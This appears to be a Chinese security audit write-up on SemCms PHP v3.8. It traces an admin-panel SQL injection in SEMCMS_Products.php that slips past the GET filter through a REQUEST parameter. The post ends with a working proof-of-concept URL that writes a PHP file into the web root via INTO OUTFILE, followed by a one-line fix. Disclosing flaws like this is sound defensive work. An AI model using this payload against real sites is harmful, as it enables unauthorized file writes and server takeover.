0x00 前言
此篇为审计semcms_php_v3.8的第四篇文章
SemCms是一套开源外贸企业网站管理系统,主要用于外贸企业,兼容IE、Firefox 等主流浏览器。
SemCms非常适合在外贸企业,电子商务互联网应用上使用,2009年12月首次发布以来,SemCms依靠出色的用户体验和领先的技术不断扩大外贸场占有率,目前在国内已经成为最受欢迎的英文外贸网站之一。
官网:http://www.sem-cms.com/
审计版本为最新php版 v3.8
0x01 后台sql注入绕过过滤函数写文件
前面三篇审计文章中,注入过程中均受到了inject_check_sql()
过滤函数的影响,导致select`
outfile`等无法使用。而且通过前面的审计,我们已有两种方法进入后台,此次继续向后台进发。1
2
3function inject_check_sql($sql_str) {
return preg_match('/select|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str);
}
本次后台的注入点将绕过该过滤函数,执行更多的操作,运气好的话,更会直接getshell。
下面开始审计过程
漏洞触发点在后台SEMCMS_Products.php
在18行
这里接受searchml竟然使用了REQUEST
方式,因为前面都包含了control.php
,在该函数中均GET得到的数据进行了清洗1
2
3
4
5
6
7
8
9// 防sql入注
if (isset($_GET)){$GetArray=$_GET;}else{$GetArray='';} //get
foreach ($GetArray as $value){ //get
verify_str($value);
}
而此次使用了REQUEST
来获取数据,如入无人之地,继续跟踪该变量CatID
的走向
还是在该文件的132,可以看到CatID
变量进入了prolmid
函数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23if ($CatID!="" && $Searchp!=""){
$flID=prolmid($CatID,$db_conn);
$sql=$db_conn->query("select * from sc_products where languageID=".$_GET["lgid"]." and products_name like '%".$Searchp."%' and $flID");
}elseif($CatID!="" && $Searchp==""){
$flID=prolmid($CatID,$db_conn);
$sql=$db_conn->query("select * from sc_products where languageID=".$_GET["lgid"]." and $flID");
}elseif($CatID=="" && $Searchp!=""){
$sql=$db_conn->query("select * from sc_products where languageID=".$_GET["lgid"]." and products_name like '%".$Searchp."%'");
}elseif($indextjs==1){
$sql=$db_conn->query("select * from sc_products where languageID=".$_GET["lgid"]." and products_index=1 ");
}else{
$sql=$db_conn->query("select * from sc_products where languageID=".$_GET["lgid"]."");
}
跟进prolmid
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15function prolmid($ID,$db_conn){
$str="";
$strs="";
$query=$db_conn->query("select ID from sc_categories where LOCATE(',".$ID.",', category_path)>0 and category_open=1");
while($row=mysqli_fetch_array($query)){
$str.= "LOCATE(',".$row['ID'].",', products_category)>0 or ";
}
$strs ="(".rtrim($str,"or ").")";
return $strs;
}
可以看到未经任何过滤直接拼接带入了sql语句。
0x02 poc
直接构造一个写webshell的payload1
http://127.0.0.1/semcms_php_v3.8/9GJQNH_Admin/SEMCMS_Products.php?searchml=1%27,%20category_path)%3E0%20and%20category_open=1%20union%20select%20%22%3C?php%20phpinfo();?%3E%22%20into%20outfile%20%22F:\\phpstudy\\PHPTutorial\\WWW\\semcms_php_v3.8\\boogle.php%22--%20-
访问http://127.0.0.1/semcms_php_v3.8/boogle.php
,看到写入成功
0x03 修复方法
将REQUEST
改为GET